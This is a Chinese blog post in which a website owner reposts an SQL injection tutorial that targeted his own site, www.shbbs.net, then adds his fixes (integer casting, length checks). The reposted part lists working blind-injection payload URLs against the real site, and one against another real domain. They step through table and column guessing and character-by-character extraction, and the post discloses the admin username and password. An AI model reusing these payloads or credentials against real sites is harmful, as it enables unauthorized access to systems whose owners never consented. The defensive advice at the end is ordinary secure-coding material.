这篇文章是去年10月份发的,我今年3月份才发现,这么长时间以来我的网站www.shbbs.net一直被当作教程攻

击,呵呵,晕死。直到有一个好心网友提醒我我才做了一些处理。大家不要再按教程上直接使用攻击我的网站www.shbbs.net了,呵呵我已经打了预防针了:)找别人的去演习吧

:)以下是文章部分,还有动画教程,呵呵,晕死:)

实战 SQL Injection

目标:www.shbbs.net 的文章发布系统~~

目的:为了演示SQL Injection 给新手看,请大家不要破坏~~

打开 http://www.shbbs.net/Article/list.asp?id=974

在 http://www.shbbs.net/Article/list.asp?id=974 后加个 '

http://www.shbbs.net/Article/list.asp?id=974'出错!ID没有过滤.

好。现在步骤就是 1、猜管理员账号的表 2、猜相应表中的用户的字段名以及密码的字段名.3、猜出用户名的长度和密码的长度. 3、猜出用户名和密码 4、找到管理界面进去登陆管理.

猜管理员表: http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin) '//min(id) 返回表

中ID最小的值. 返回文章,证明有一个admin的表.如果没有返回文章,证明出错!不存在admin这个表.

猜用户的字段名 http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where user='qqq')返回错误信息,表示没有user这个用户字段名

再来~~http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

username='qqq') 没有返回错误信息.又也没有返回文章,提示找不到相应文章 证明:在admin中存在username这个字段. 只是用户名不是qqq

猜密码的字段名 http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where passwd='qqq')返回错误信息,表示没有passwd这个密码字段名

再来~~http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

password='qqq') 没有返回错误信息.也没有返回文章.提示找不到相应文章. 证明:在admin中存在password这个字段. 只是密码不是qqq现在就来猜用户字段名长度 http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

len(username)>8) 正确~~http://www.xuanke.com/wz/list.asp?id=47 and 1=(select min(id) from admin where len(username)<15)正确~~用户名长度 大于8 小于15

http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

len(username)=10) 呵呵~~用户名长度为10位``~~

猜密码长度 http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

len(password)>8) 正确~~http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

len(password)<15) 正确~~~密码长度也是  大于8 小于15http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

len(password)=10) 呵呵~~密码长度为10.

用户名长度为:10 密码长度为:10

现在来猜用户名. http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

mid(username,1,1)='a')错了~~

我再猜~~http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

mid(username,1,1)='s') 呵呵~~正确~~用户名第一位是 s

猜用户名的第二位~~http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

mid(username,2,1)='h')用户名第二位是 h

由于时间关系,我早就猜好了,用户名:shbbsadmin

我们现在来猜密码~~ 猜密码跟猜用户名一样~~http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

mid(password,1,1)='s')

猜啊猜~

由于时间关系,密码我都猜好了,呵呵~~密码:shbbsadmin 哈哈~~跟用户名一样~~~~

用户:shbbsadmin密码:shbbsadmin              

============================================================呵呵,我以前用动网文章系统,被sql注入攻击者都写成教程给别人下载了

有些SB就拿我开刀,所幸我的论坛和文章发布系统用户名密码各不相同,否则损失可惨了

于是培养了稍于注意安全的写代码习惯。

如ID等数值型参数都是加cint()进行类型转换的,注入绝对是不成功的,如果是字符型参数都不用害怕',会当

做一个字符部分,毫无作用。

另外就是对传入参数做长度限定,比如if len(request("id"))>5 then response.end简单的一句话让注入攻击者一筹莫展。